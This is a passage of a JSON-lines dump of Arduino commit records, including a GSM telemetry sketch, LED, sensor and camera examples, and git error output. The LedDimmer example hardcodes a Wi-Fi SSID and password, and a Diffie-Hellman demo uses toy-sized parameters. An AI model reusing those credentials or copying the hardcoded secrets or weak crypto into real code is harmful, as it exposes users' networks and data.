}\n }\n }\n for (auto iter=received.begin(); iter!=received.end(); ) \n {\n if (iter->first-- == 0) {\n logger.print(\"Timeout: \");\n logger.println(iter->second);\n iter = received.erase(iter);\n } else {\n iter++;\n }\n }\n }\n\n bool match(String* retStr, String str, bool anchorStart=true, bool anchorEnd=true)\n {\n for (auto iter=received.begin(); iter!=received.end(); iter++) {\n const String& pStr = iter->second;\n \n bool res;\n if (anchorStart && anchorEnd) {\n res = pStr.equals(str);\n } else if (anchorStart) {\n res = pStr.startsWith(str);\n } else if (anchorEnd) {\n res = pStr.endsWith(str);\n } else {\n for (int i=0; i<pStr.length(); i++) {\n if (pStr.startsWith(str, i)) res = true;\n }\n }\n \n if (res) {\n if (retStr) *retStr = pStr;\n logger.print(\"Found: \");\n logger.println(pStr);\n received.erase(iter);\n return true;\n }\n }\n return false;\n }\n};\n\n\n\n\nnamespace gsm {\n static const auto BAUD = 9600;\n static const auto PIN_RX = 3ul; \/\/ PA09 \/\/ SERCOM2.1 \/\/ Their GSM_TX\n static const auto PIN_TX = 4ul; \/\/ PA08 \/\/ SERCOM2.0 \/\/ Their GSM_RX\n static const auto PIN_RTS = 2ul; \/\/ PA14 \/\/ SERCOM2.2 \n static const auto PIN_CTS = 5ul; \/\/ PA15 \/\/ SERCOM2.3 \n static const auto PAD_RX = SERCOM_RX_PAD_1; \/\/ Use pad 1 for RX\n static const auto PAD_TX = UART_TX_RTS_CTS_PAD_0_2_3; \/\/ UART_TX_PAD_0 or UART_TX_RTS_CTS_PAD_0_2_3 \n\n Uart serial(&sercom2, PIN_RX, PIN_TX, PAD_RX, PAD_TX);\n SerialReceiver receiver(serial);\n\n void begin() {\n logger.println(\"GSM?\");\n\n \/\/ bring up serial\n serial.begin(BAUD);\n pinPeripheral(PIN_TX, PIO_SERCOM_ALT);\n pinPeripheral(PIN_RX, PIO_SERCOM_ALT);\n pinPeripheral(PIN_RTS, PIO_SERCOM);\n pinPeripheral(PIN_CTS, PIO_SERCOM);\n while (!serial);\n\n \/\/ calibrate baud\n while(1) {\n logger.println(\">AT\");\n serial.println(\"AT\");\n delay(100); \n receiver.update();\n if (receiver.match(nullptr, \"OK\", true, true)) \n break;\n }\n\n \/\/ wait for \"RDY\"\n while(1) {\n delay(100); \n receiver.update();\n if (receiver.match(nullptr, \"RDY\", true, true)) \n break;\n }\n \n logger.println(\"GSM!\");\n }\n}\nvoid SERCOM2_Handler()\n{\n gsm::serial.IrqHandler();\n}\n\n\n\n\nclass SimCom\n{\n static const auto PIN_STATUS = 25ul;\n static const auto PIN_PWRKEY = 38ul;\npublic:\n bool isOn() {\n return digitalRead(PIN_STATUS);\n }\n\n void powerOnOff() {\n int startStatus = isOn();\n if (startStatus) {\n logger.println(\"SimCom is on - turning off\");\n } else {\n logger.println(\"SimCom is off - turning on\");\n }\n pinMode(PIN_PWRKEY, OUTPUT);\n digitalWrite(PIN_PWRKEY, LOW);\n delay(1000);\n while(isOn()==startStatus) {\n delay(100);\n }\n digitalWrite(PIN_PWRKEY, HIGH);\n pinMode(PIN_PWRKEY, INPUT);\n delay(100);\n int stopStatus = isOn();\n if (stopStatus) {\n logger.println(\"SimCom is now on\");\n } else {\n logger.println(\"SimCom is now off\");\n }\n assert(startStatus!=stopStatus);\n }\n \n void begin()\n {\n pinMode(PIN_STATUS, INPUT_PULLDOWN);\n pinMode(PIN_PWRKEY, INPUT);\n logger.println(\"SimCom?\");\n \n \/\/ turn on SimCom (cycle power if already on)\n if (isOn())\n powerOnOff();\n assert(!isOn());\n powerOnOff();\n assert(isOn());\n\n gsm::begin();\n \n logger.println(\"SimCom!\");\n }\n \n \n} simCom;\n\n\n\nvoid setup() {\n Serial.begin(74880);\n while(!Serial);\n logger.println(\"Setup?\");\n \n logger.begin();\n simCom.begin();\n \n logger.println(\"Setup!\");\n}\n\n\n\nvoid loop() {\n logger.print(\"VBat: \" ); \n logger.println(misc::readBatteryVoltage());\n gsm::receiver.update();\n delay(1000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'telemetrics\/telemetrics.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f8993dff296c54fba49a68b6591513d074e3a12a","subject":"Update CannybotLapTimer.ino","message":"Update CannybotLapTimer.ino","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotLapTimer\/CannybotLapTimer.ino","new_file":"src\/rfduino\/CannybotLapTimer\/CannybotLapTimer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"87745b5d985c255892b88af2a67f197746dbd0f6","subject":"Tidy up","message":"Tidy up\n","repos":"freephases\/lenr-logger","old_file":"wifislave.ino","new_file":"wifislave.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/freephases\/lenr-logger.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4e25cd16b754f67bfd817f2746b2eb3bf46dc48f","subject":"Uploaded start 43","message":"Uploaded start 43\n\n","repos":"dpengineering\/giffer-reborn,dpengineering\/giffer-reborn,dpengineering\/giffer-reborn","old_file":"exercises\/43\/Excercise43_StartingPoint\/Excercise43_StartingPoint.ino","new_file":"exercises\/43\/Excercise43_StartingPoint\/Excercise43_StartingPoint.ino","new_contents":"void setup()\n{ \n \/\/\n \/\/ configure the LED pins as outputs\n \/\/\n int ledNumber;\n for (ledNumber=2; ledNumber<=15; ledNumber++) \/\/ enable all the pins to be outputs\n {\n pinMode(ledNumber, OUTPUT);\n }\n}\nvoid loop()\n{\n int myFirstArray[7] = {\n 2, 4, 6, 8, 10, 12, 14 }; \/\/ creates an array of 7 integers \/ elements and initializes \/ assigns values to those integers \n int index;\n \/\/ Blinks LED's in the order defined by the array\n for(index = 0; index <= 6; index++)\n { \n digitalWrite(myFirstArray[index], HIGH); \n delay(150);\n digitalWrite(myFirstArray[index], LOW);\n }\n delay(4000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exercises\/43\/Excercise43_StartingPoint\/Excercise43_StartingPoint.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"104f76fea7474a3f5a00351fccb95f8f9528cacd","subject":"initial commit","message":"initial commit\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/LedDimmer\/LedDimmer.ino","new_file":"examples\/LedDimmer\/LedDimmer.ino","new_contents":"\n#include \"MqttConnection.h\"\nMqttConnection * myMqtt;\n\n\/\/Constants\n#define SENSOR_ID \"DECK_LEDS\"\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n\/************************* MQTT *********************************\/\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n\n\n#define LED_PIN D4\n#define PWM_PIN D8\n\nvoid processCommandMsg(char* topic, byte* payload, unsigned int length)\n{\n String commandTopic = String(SENSOR_ID) + \"\/\" + \"dimmer\";\n Serial.print(\"Checking if topic:#\");\n Serial.print(commandTopic);\n Serial.println(\"#\");\n\n if(String(topic) == commandTopic){\n Serial.println(\"Received state topic change\");\n int newValue = atoi((char*)payload); \n if((newValue >= 0) && (newValue <=100)){\n Serial.print(\"Setting dimmer value \");\n Serial.println(newValue);\n analogWrite(PWM_PIN, 1024 - newValue*10);\n memset(payload,0, 8); \/\/reset for next time.\n }\n else{\n Serial.print(\"Out of range value received : \");\n Serial.println(newValue);\n }\n }\n else\n {\n Serial.println(\"Received unknown topic\");\n }\n}\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW); \n\n pinMode(PWM_PIN, OUTPUT);\n\n\n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n myMqtt->registerCustomProcessing(&processCommandMsg);\n myMqtt->addSubscription(\"dimmer\");\n\n \/\/we're now connected.\n digitalWrite(LED_PIN, HIGH); \n}\n\nvoid loop() {\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LedDimmer\/LedDimmer.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"6bce6dd348ca42350cfe5c39ae157b50bc5e1bc3","subject":"Gyroscope example","message":"Gyroscope example\n","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield","old_file":"examples\/Gyroscope\/Gyroscope.ino","new_file":"examples\/Gyroscope\/Gyroscope.ino","new_contents":"#include <Smartcar_sensors.h>\n#include <Smartcar.h>\n#include <Wire.h>\n\nGyroscope gyro;\n\nvoid setup() {\n Serial.begin(9600);\n gyro.attach();\n delay(1500);\n Serial.println(\"Start measuring!\");\n gyro.begin();\n}\n\nvoid loop() {\n Serial.println(gyro.getAngularDisplacement());\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Gyroscope\/Gyroscope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fda1df13e10c6e6efa8753f876b5474cb7a049c7","subject":"Add ReadColor example","message":"Add ReadColor example\n\nThis example read the sensor and encode it to RGB color code\n","repos":"ilhamadun\/TCS","old_file":"examples\/ReadColor\/ReadColor.ino","new_file":"examples\/ReadColor\/ReadColor.ino","new_contents":"\/**\n * Read sensor and encode to color code\n * \n * Copyright (c) 2016 Ilham Imaduddin\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is furnished to do\n * so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n*\/\n\n#include \"TCS.h\"\n\nTCS tcs(40, 41, 42, 43, 44, 45);\n\nvoid setup() {\n Serial.begin(9600);\n tcs.setSpeed(FAST);\n\n \/\/ Calibrate for 5000 miliseconds\n tcs.calibrate(5000);\n}\n\nvoid loop() {\n byte red = tcs.readColor(RED);\n byte green = tcs.readColor(GREEN);\n byte blue = tcs.readColor(BLUE);\n\n \/\/ Write color code\n Serial.print(\"Color: #\");\n Serial.print(red, HEX);\n Serial.print(green, HEX);\n Serial.println(blue, HEX);\n\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ReadColor\/ReadColor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5c90f5f0746636d2ea73db908b2eaa3dae70d802","subject":"int value \u2192 long value","message":"int value \u2192 long value\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/CC3000\/HelloCC3000\/HelloCC3000.ino","new_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/CC3000\/HelloCC3000\/HelloCC3000.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e386f2867528593c5558084083ee141782c75432","subject":"Add ArduCAM 5MP video streaming example","message":"Add ArduCAM 5MP video streaming example\n","repos":"timkrentz\/SunTracker,Oitzu\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,ArduCAM\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino,timkrentz\/SunTracker,ArduCAM\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,Oitzu\/Arduino,timkrentz\/SunTracker","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_OV5642_Video_Streaming\/ArduCAM_Mini_OV5642_Video_Streaming.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_OV5642_Video_Streaming\/ArduCAM_Mini_OV5642_Video_Streaming.ino","new_contents":"\/\/ ArduCAM Mini demo (C)2015 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with ArduCAM Mini 5MP camera, and can run on any Arduino platform.\n\/\/\n\/\/ This demo was made for ArduCAM Mini OV5642 5MP Camera.\n\/\/ It needs to be used in combination with PC software.\n\/\/ It can take photo continuously as video streaming.\n\/\/\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the camera to JEPG output mode.\n\/\/ 2. Read data from Serial port and deal with it\n\/\/ 3. If receive 0x00-0x08,the resolution will be changed.\n\/\/ 4. If receive 0x10,camera will capture a JPEG photo and buffer the image to FIFO.Then write datas to Serial port.\n\/\/ 5. If receive 0x20,camera will capture JPEG photo and write datas continuously.Stop when receive 0x21.\n\/\/ 6. If receive 0x30,camera will capture a BMP photo and buffer the image to FIFO.Then write datas to Serial port.\n\/\/ 7. If receive 0x11 ,set camera to JPEG output mode.\n\/\/ 8. If receive 0x31 ,set camera to BMP output mode.\n\/\/ This program requires the ArduCAM V3.4.1 (or later) library and ArduCAM Mini 5MP camera\n\/\/ and use Arduino IDE 1.5.8 compiler or above\n\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\n#define BMPIMAGEOFFSET 66\n\n\/\/ set pin 10 as the slave select for the digital pot:\nconst int CS = 10;\nbool is_header = false;\nint mode = 0;\nuint8_t start_capture = 0;\n\nconst char bmp_header[BMPIMAGEOFFSET] PROGMEM =\n{\n 0x42, 0x4D, 0x36, 0x58, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x28, 0x00,\n 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x03, 0x00,\n 0x00, 0x00, 0x00, 0x58, 0x02, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0xE0, 0x07, 0x00, 0x00, 0x1F, 0x00,\n 0x00, 0x00\n};\n\nArduCAM myCAM(OV5642, CS);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n uint8_t vid, pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(921600);\n Serial.println(\"ArduCAM Start!\");\n\n \/\/ set the CS as an output:\n pinMode(CS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI interface Error!\");\n \/\/while(1);\n }\n\n \/\/Check if the camera module type is OV5642\n myCAM.rdSensorReg16_8(OV5642_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5642_CHIPID_LOW, &pid);\n if ((vid != 0x56) || (pid != 0x42))\n Serial.println(\"Can't find OV5642 module!\");\n else\n Serial.println(\"OV5642 detected.\");\n\n \/\/Change to JPEG capture mode and initialize the OV5642 module\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n myCAM.set_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n\n myCAM.clear_fifo_flag();\n myCAM.write_reg(ARDUCHIP_FRAMES, 0x00);\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n uint8_t temp, temp_last;\n bool is_header = false;\n if (Serial.available())\n {\n temp = Serial.read();\n switch (temp)\n {\n case 0:\n myCAM.OV5642_set_JPEG_size(OV5642_320x240);\n break;\n case 1:\n myCAM.OV5642_set_JPEG_size(OV5642_640x480);\n break;\n case 2:\n myCAM.OV5642_set_JPEG_size(OV5642_1280x720);\n break;\n case 3:\n myCAM.OV5642_set_JPEG_size(OV5642_1920x1080);\n break;\n case 4:\n myCAM.OV5642_set_JPEG_size(OV5642_2048x1563);\n break;\n case 5:\n myCAM.OV5642_set_JPEG_size(OV5642_2592x1944);\n break;\n case 0x10:\n mode = 1;\n start_capture = 1;\n Serial.println(\"CAM start single shoot.\");\n break;\n case 0x11:\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n myCAM.set_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n break;\n case 0x20:\n mode = 2;\n start_capture = 2;\n Serial.println(\"CAM start contrues shoots.\");\n break;\n case 0x30:\n mode = 3;\n start_capture = 3;\n Serial.println(\"CAM start single shoot.\");\n break;\n case 0x31:\n myCAM.set_format(BMP);\n myCAM.InitCAM();\n myCAM.clear_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n break;\n default:\n break;\n }\n }\n\n if (mode == 1)\n {\n if (start_capture == 1)\n {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if (myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n Serial.println(\"CAM Capture Done!\");\n read_fifo_burst(myCAM);\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n }\n }\n else if (mode == 2)\n {\n while (1)\n {\n temp = Serial.read();\n if (temp == 0x21)\n {\n start_capture = 0;\n mode = 0;\n Serial.println(\"CAM stop continuous shoots!\");\n break;\n }\n if (start_capture == 2)\n {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if (myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n if ((length >= 524288) | (length == 0))\n {\n myCAM.clear_fifo_flag();\n start_capture = 2;\n continue;\n }\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n \/\/SPI.transfer(0x00);\n length--;\n while ( length-- )\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n if (is_header == true)\n {\n Serial.write(temp);\n }\n else if ((temp == 0xD8) & (temp_last == 0xFF))\n {\n is_header = true;\n Serial.write(temp_last);\n Serial.write(temp);\n }\n if ( (temp == 0xD9) && (temp_last == 0xFF) ) \/\/If find the end ,break while,\n break;\n delayMicroseconds(12);\n }\n myCAM.CS_HIGH();\n myCAM.clear_fifo_flag();\n start_capture = 2;\n is_header = false;\n }\n }\n }\n else if (mode == 3)\n {\n if (start_capture == 3)\n {\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if (myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n Serial.println(\"CAM Capture Done!\");\n\n uint8_t temp, temp_last;\n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n if (length >= 524288 ) \/\/ 512kb\n {\n Serial.println(\"Over size.\");\n myCAM.clear_fifo_flag();\n return;\n }\n\n if (length == 0 ) \/\/0 kb\n {\n Serial.println(\"Size is 0.\");\n myCAM.clear_fifo_flag();\n return;\n }\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n\n Serial.write(0xFF);\n Serial.write(0xAA);\n for (temp = 0; temp < BMPIMAGEOFFSET; temp++)\n {\n Serial.write(pgm_read_byte(&bmp_header[temp]));\n }\n SPI.transfer(0x00);\n\n char VH, VL;\n int i = 0, j = 0;\n for (i = 0; i < 240; i++)\n {\n for (j = 0; j < 320; j++)\n {\n VH = SPI.transfer(0x00);;\n VL = SPI.transfer(0x00);;\n Serial.write(VL);\n delayMicroseconds(12);\n Serial.write(VH);\n delayMicroseconds(12);\n }\n }\n Serial.write(0xBB);\n Serial.write(0xCC);\n\n myCAM.CS_HIGH();\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n }\n }\n}\n\nuint8_t read_fifo_burst(ArduCAM myCAM)\n{\n uint8_t temp, temp_last;\n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n Serial.println(length, DEC);\n\n if (length >= 524288) \/\/512 kb\n {\n Serial.println(\"Over size.\");\n return 0;\n }\n if (length == 0 ) \/\/0 kb\n {\n Serial.println(\"Size is 0.\");\n return 0;\n }\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n SPI.transfer(0x00);\/\/First byte is 0xC0 ,not 0xff\n length--;\n while ( length-- )\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n if (is_header == true)\n {\n Serial.write(temp);\n }\n else if ((temp == 0xD8) & (temp_last == 0xFF))\n {\n is_header = true;\n Serial.write(temp_last);\n Serial.write(temp);\n }\n if ( (temp == 0xD9) && (temp_last == 0xFF) ) \/\/If find the end ,break while,\n break;\n delayMicroseconds(12);\n }\n myCAM.CS_HIGH();\n is_header = false;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_OV5642_Video_Streaming\/ArduCAM_Mini_OV5642_Video_Streaming.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9aea15a8dfe3226830746832ddc0b48690e092e3","subject":"minmax, logging","message":"minmax, logging\n","repos":"rkhamilton\/ByteHistorian","old_file":"examples\/TestSuite\/TestSuite.ino","new_file":"examples\/TestSuite\/TestSuite.ino","new_contents":"#include <Time.h>\n#include <Streaming.h>\n#include <ByteHistorian.h>\n\/*\n * TestSuite.ino\n *\n * Created: 9\/7\/2014 12:48:23 PM\n * Author: Ryan\n *\/ \n\nconst float minValue = -6;\nconst float maxValue = 45;\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\t\t\t\t\n\ttestCurrentValues();\t\t\t\t\t\t\t\t\n\ttestMinMax();\n\t \n\n}\n\nvoid loop()\n{\n\n}\n\nvoid testCurrentValues()\n{\n\t\tByteHistorian temperature;\n\t\tfloat x;\n\t\t\n\t\ttemperature.setMinValue(minValue);\n\t\ttemperature.setMaxValue(maxValue);\n\n\t\t\/\/ run tests\n\t\ttemperature.logValue(now(),minValue);\n\t\tx = temperature.currentValue();\n\t\tSerial << \"Storing min value: \" << (x == minValue) << endl;\n\n\t\ttemperature.logValue(now(),minValue-1);\n\t\tx = temperature.currentValue();\n\t\tSerial << \"Storing less than min value: \" << (x == minValue) << endl;\n\t\t\n\t\ttemperature.logValue(now(),maxValue);\n\t\tx = temperature.currentValue();\n\t\tSerial << \"Storing max value: \" << (x == maxValue) << endl;\n\n\t\ttemperature.logValue(now(),minValue+1);\n\t\tx = temperature.currentValue();\n\t\tSerial << \"Storing more than max value: \" << (x == maxValue) << endl;\n\t\t\n\t\tSerial << \"Todays high and low == min\/max: \" << (temperature.todaysHigh() == maxValue &&\n\t\ttemperature.todaysLow() == minValue) << endl;\n\t\t\n\n}\n\nvoid testMinMax()\n{\n\tByteHistorian temperature;\n\t\n\ttemperature.setMinValue(minValue);\n\ttemperature.setMaxValue(maxValue);\n\n\t\/\/ run tests\n\ttemperature.logValue(now(),minValue + (maxValue - minValue)\/10);\n\ttemperature.logValue(now()+1,minValue + (maxValue - minValue)\/2);\n\tSerial << \"Todays low: \" << (temperature.todaysLow() == minValue + (maxValue - minValue)\/10) << endl;\n\tSerial << \"Todays high: \" << (temperature.todaysLow() == minValue + (maxValue - minValue)\/2) << endl;\n}\n\n\nvoid testDayLogging()\n{\n\tByteHistorian temperature;\n\t\n\ttemperature.setMinValue(minValue);\n\ttemperature.setMaxValue(maxValue);\n\n\t\/\/ run tests\n\ttemperature.logValue(now(),55);\n\t\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TestSuite\/TestSuite.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d08d11dbed652fe6fa25b7e21f0d188fb7462b7","subject":"Delete led \u70b9\u4eaeled.ino","message":"Delete led \u70b9\u4eaeled.ino","repos":"HoweiXue\/Arduino_Lux","old_file":"xue\/homework\/led \u70b9\u4eaeled.ino","new_file":"xue\/homework\/led \u70b9\u4eaeled.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'xue\/homework\/led' did not match any file(s) known to git\nerror: pathspec '\u70b9\u4eaeled.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a97cdb9d689761247baa374e80544e6171b6cca6","subject":"Bring up verification of GroveMoisture","message":"Bring up verification of GroveMoisture","repos":"LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS","old_file":"Device_LinkItOne\/Example\/Sensor-GroveMoisture\/Sensor-GroveMoisture.ino","new_file":"Device_LinkItOne\/Example\/Sensor-GroveMoisture\/Sensor-GroveMoisture.ino","new_contents":"int sensorPin = A1; \/\/ select the input pin for the potentiometer\n\nfloat sensorValue[0];\n\nfloat get_sensor_data_moisture(){\n \/\/ read the value from the sensor:\n return analogRead(sensorPin); \n}\n\nvoid setup() {\n \/\/ declare the ledPin as an OUTPUT:\n Serial.begin(115200); \n}\n \nvoid loop() {\n sensorValue[0]=get_sensor_data_moisture();\n Serial.print(\"sensor = \" ); \n Serial.println(sensorValue[0]); \n delay(1000); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Device_LinkItOne\/Example\/Sensor-GroveMoisture\/Sensor-GroveMoisture.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0be5a0c24ca70323ac6531b0905df53194bbe23d","subject":"Asservissment moteur: caract\u00e9risation vitesse - timer corrig\u00e9 - resolution probl\u00e8me de cast - ajout de la fonction printDouble","message":"Asservissment moteur: caract\u00e9risation vitesse\n- timer corrig\u00e9\n- resolution probl\u00e8me de cast\n- ajout de la fonction printDouble\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1f80d7ec80dc74b5ff79388f525a95e17e25e85d","subject":"using ifdefs for msp code","message":"using ifdefs for msp code\n","repos":"billautomata\/rsa_computer,billautomata\/rsa_computer","old_file":"MSP_CODE\/diffie_hellman\/diffie_hellman.ino","new_file":"MSP_CODE\/diffie_hellman\/diffie_hellman.ino","new_contents":"\/\/ #define __MSP430\n#define __MSP432\n\n#ifdef __MSP430\n #include <msp430.h> \n #define _redled 2\n #define _greenled 14\n#endif\n#ifdef __MSP432\n #include <msp432.h> \n #define _redled 78\n #define _greenled 76\n#endif\n\nunsigned long long ipow(unsigned long long b, unsigned long long e);\nunsigned long long fme(unsigned long long a, unsigned long long b, unsigned long long c);\n\nunsigned long long p = 23;\nunsigned long long g = 5; \nunsigned long long alice_secret = 67108864;\nunsigned long long alice_public;\nunsigned long long bob_secret = 12582912; \/\/ 24 bit\nunsigned long long bob_public;\n\nvoid setup()\n{\n \n p = (157211*2)+1; g = 5; \/\/ good (good with 65519, and 167711)\n \n Serial.begin(9600); \n delay(100);\n\n pinMode(_redled, OUTPUT);\n pinMode(_greenled, OUTPUT);\n digitalWrite(_redled, HIGH);\n digitalWrite(_greenled, 